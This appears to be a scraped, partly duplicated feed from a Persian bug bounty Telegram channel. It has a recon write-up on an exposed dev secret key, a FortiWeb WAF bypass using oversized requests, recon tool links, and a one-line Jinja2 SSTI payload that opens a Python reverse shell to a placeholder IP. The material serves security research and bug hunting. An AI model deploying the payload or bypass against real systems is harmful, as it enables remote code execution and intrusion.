چطور با یک فاز ساده دایرکتوری، یک باگ امنیتی ثبت کردم!
وقتی داشتم روی یکی از سایتها ریکان میکردم به یک زیر دامنه با آدرس
رسیدم. چیزی که توجه من رو جلب کرد این بود که ممکنه این سابدامین برای محیط توسعه (development) باشه، و احتمال وجود اطلاعات حساس در اون بیشتره.
اولین کاری که کردم، فاز دایرکتوریهای این سابدامین بود. برای این کار از ابزار ffuf استفاده کردم و یک لیست مخصوص از کلمات (wordlist) هم داشتم که خودم درست کرده بودم.
در نتیجهی این اسکن، به یک مسیر جالب رسیدم:
وقتی این مسیر رو باز کردم، به چند فیلد حساس برخوردم که مهمترینش یک کلید مخفی (secret key) بود. مقدار این کلید چیزی شبیه @#!$%ED بود که بههیچوجه قابل حدس زدن نیست.
این کلید میتونست نشونهی یه اطلاعات حساس باشه که احتمالاً در ورود به سیستم یا تأیید هویت نقش داره.
برای اینکه ببینم این کلید واقعاً کاربردی هست یا نه، شروع کردم به جستوجو در منابع مختلف مثل GitHub، گوگل (با استفاده از dorking) و Wayback Machine. حتی فایلهای جاوااسکریپت پنهانشدهی سایت مثل app.main.js رو بررسی کردم، اما اطلاعات خاصی به دست نیاوردم.
در این مرحله، دو احتمال به ذهنم رسید:
ممکنه این کلید فقط برای تست و محیط آزمایش باشه و اصلاً استفادهای در دنیای واقعی نداشته باشه.
یا اینکه این کلید واقعاً مهم باشه ولی چون خوب مخفی شده، کسی متوجهش نشده.
با در نظر گرفتن احتمال دوم، تصمیم گرفتم این مورد رو به عنوان یک باگ گزارش کنم و جالب اینجاست که فقط دو روز بعد، تأیید (triage) شد! 🔥
@Dagen_security
وقتی داشتم روی یکی از سایتها ریکان میکردم به یک زیر دامنه با آدرس
apidev.target.com
رسیدم. چیزی که توجه من رو جلب کرد این بود که ممکنه این سابدامین برای محیط توسعه (development) باشه، و احتمال وجود اطلاعات حساس در اون بیشتره.
اولین کاری که کردم، فاز دایرکتوریهای این سابدامین بود. برای این کار از ابزار ffuf استفاده کردم و یک لیست مخصوص از کلمات (wordlist) هم داشتم که خودم درست کرده بودم.
در نتیجهی این اسکن، به یک مسیر جالب رسیدم:
/com/api/v1/dev_browser/configP
وقتی این مسیر رو باز کردم، به چند فیلد حساس برخوردم که مهمترینش یک کلید مخفی (secret key) بود. مقدار این کلید چیزی شبیه @#!$%ED بود که بههیچوجه قابل حدس زدن نیست.
این کلید میتونست نشونهی یه اطلاعات حساس باشه که احتمالاً در ورود به سیستم یا تأیید هویت نقش داره.
برای اینکه ببینم این کلید واقعاً کاربردی هست یا نه، شروع کردم به جستوجو در منابع مختلف مثل GitHub، گوگل (با استفاده از dorking) و Wayback Machine. حتی فایلهای جاوااسکریپت پنهانشدهی سایت مثل app.main.js رو بررسی کردم، اما اطلاعات خاصی به دست نیاوردم.
در این مرحله، دو احتمال به ذهنم رسید:
ممکنه این کلید فقط برای تست و محیط آزمایش باشه و اصلاً استفادهای در دنیای واقعی نداشته باشه.
یا اینکه این کلید واقعاً مهم باشه ولی چون خوب مخفی شده، کسی متوجهش نشده.
با در نظر گرفتن احتمال دوم، تصمیم گرفتم این مورد رو به عنوان یک باگ گزارش کنم و جالب اینجاست که فقط دو روز بعد، تأیید (triage) شد! 🔥
@Dagen_security
بایپسی که تقریباً 13 سال پیش برای FortiWeb کشف شد، اما این روزها بهعنوان یک تریک "جدید" برای بایپس WAF شناخته میشه:
خلاصه ماجرا:
وقتی حجم دادهی داخل POST یا GET از حدود ۲۳۹۹ بایت بیشتر میشه، FortiWeb (در بعضی کانفیگها) بازرسی رو رها میکنه و کل درخواست رو مستقیم به اپلیکیشن میفرسته.
یعنی فایروال دور زده میشه و میتونیم XSS، SQLi یا هر نوع حملهی دیگهای رو تزریق کنیم؛ چون درخواست بدون بررسی به Backend ارسال میشه.
چرا این اتفاق میفته ؟
FortiWeb بررسی دقیقی روی غیرفعال بودن محدودیت سایز فرمها یا max POST size نداره.
گزینهی Block Malformed Requests هم فعال نیست.
این باعث میشه ساختارهای ناقص یا مشکوک (malformed) بلاک نشن و هیچ چکی روی اینکه آیا درخواست معتبر هست یا نه، انجام نشه.
چرا الان دوباره ترند شده؟
چون بایپسهای WAF (مخصوصاً FortiWeb، Cloudflare، AWS WAF و ...) به شدت توی Bug Bounty داغ شدن.
خیلی از هکرها فکر میکنن این یه تریک جدیده، ولی در واقع : این همون بایپس کشفشده در سال ۲۰۱۲ توسط Geffrey Velasquez هست.
در نظر داشته باشیم : قدیمی بودن به معنای حل شدن نیست .
@Dagen_security
خلاصه ماجرا:
وقتی حجم دادهی داخل POST یا GET از حدود ۲۳۹۹ بایت بیشتر میشه، FortiWeb (در بعضی کانفیگها) بازرسی رو رها میکنه و کل درخواست رو مستقیم به اپلیکیشن میفرسته.
یعنی فایروال دور زده میشه و میتونیم XSS، SQLi یا هر نوع حملهی دیگهای رو تزریق کنیم؛ چون درخواست بدون بررسی به Backend ارسال میشه.
چرا این اتفاق میفته ؟
FortiWeb بررسی دقیقی روی غیرفعال بودن محدودیت سایز فرمها یا max POST size نداره.
گزینهی Block Malformed Requests هم فعال نیست.
این باعث میشه ساختارهای ناقص یا مشکوک (malformed) بلاک نشن و هیچ چکی روی اینکه آیا درخواست معتبر هست یا نه، انجام نشه.
چرا الان دوباره ترند شده؟
چون بایپسهای WAF (مخصوصاً FortiWeb، Cloudflare، AWS WAF و ...) به شدت توی Bug Bounty داغ شدن.
خیلی از هکرها فکر میکنن این یه تریک جدیده، ولی در واقع : این همون بایپس کشفشده در سال ۲۰۱۲ توسط Geffrey Velasquez هست.
source : https://www.exploit-db.com/exploits/18840
در نظر داشته باشیم : قدیمی بودن به معنای حل شدن نیست .
@Dagen_security
ssti payload with python—> RCE
@Dagen_security
{{self._TemplateReference__context.cycler.init.globals.os.popen("python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);https://subprocess.call([\"/bin/sh\"])'").read()}}@Dagen_security
Dagen (security)
https://www.youtube.com/watch?v=3F8A03nK4jg&t=12s
nice talk about postMessage 👌
با این سایت میتونید رایتآپهای مربوط به باگهای مورد نظرتون رو بخونید، مخصوصاً اگه تازه شروع کرده باشید.
link : https://www.bugbountyhunting.com
@Dagen_security
link : https://www.bugbountyhunting.com
@Dagen_security
این ریپازیتوری گیتهاب یکی از کاملترین چیتشیتها برای باگ بانتیه و خوبیش اینه که بهصورت مداوم بهروزرسانی میشه👀
link : https://github.com/sulabh915/Cheatsheet_database_and_scripts
@Dagen_security
link : https://github.com/sulabh915/Cheatsheet_database_and_scripts
@Dagen_security
این سایت همهی ریپازیتوریهای گیتهاب رو بدون محدودیت جستجو میکنه؛ حتی میتونی از regex برای سرچ استفاده کنی. برای کشف سابدامینها یه گزینه خیلی خوبیه 👀🤌
link : sourcegraph.com/search
@Dagen_security
link : sourcegraph.com/search
@Dagen_security
معمولا باهاش کار کردید , یکی از خفنای واید ریکانه ! ویژگی جذابش هیستوری کال دیتاهایی هست که نگه میداره که میتونه برای واید ریکانمون خیلی مفیده باشه 🔥
link : https://securitytrails.com
@Dagen_security
link : https://securitytrails.com
@Dagen_security
👍1
علاوه بر وردلیستهای دیگه، Assetnote یکی از کاملترین و بهروزترین گزینههاست.
برای فاز کشف دایرکتوری و پارامتر حتماً یه سر بهش بزنید، خروجیهای خوبی میده ⚡️
link : https://wordlists.assetnote.io
@Dagen_security
برای فاز کشف دایرکتوری و پارامتر حتماً یه سر بهش بزنید، خروجیهای خوبی میده ⚡️
link : https://wordlists.assetnote.io
@Dagen_security
Fancy Tracker
یه افزونه جدید برای مرورگر کروم که کار اصلیش نمایش تمام listenerهای مربوط به postMessage بین صفحات مختلفه، همراه با نمایش source و خطاها.
ویژگیها:
فیلتر کردن listenerها با Regex
ذخیره خروجی به صورت فایل
هایلایت کردن سورسهای برای بررسی بهتر
این ابزار برای مختصصین امنیت خیلی کاربردیه که میخوان این فرآیند رو به صورت اتوماتیک انجام بدن.
link : https://github.com/Zeetaz/FancyTracker
autherby : Frans Rosen
@Dagen_security
یه افزونه جدید برای مرورگر کروم که کار اصلیش نمایش تمام listenerهای مربوط به postMessage بین صفحات مختلفه، همراه با نمایش source و خطاها.
ویژگیها:
فیلتر کردن listenerها با Regex
ذخیره خروجی به صورت فایل
هایلایت کردن سورسهای برای بررسی بهتر
این ابزار برای مختصصین امنیت خیلی کاربردیه که میخوان این فرآیند رو به صورت اتوماتیک انجام بدن.
link : https://github.com/Zeetaz/FancyTracker
autherby : Frans Rosen
@Dagen_security
فول هانت یکی از خفنترین سرچانجینهاست با اختلاف؛ تمرکزش روی پیدا کردن assetهای جدید و شناسایی CVEهای نسخههای آسیبپذیره. کافیه فقط اسم دامنه رو بهش بدی. حتماً توی ریکانت ازش استفاده کن 🔥
link : https://fullhunt.io
@Dagen_security
link : https://fullhunt.io
@Dagen_security
🔥2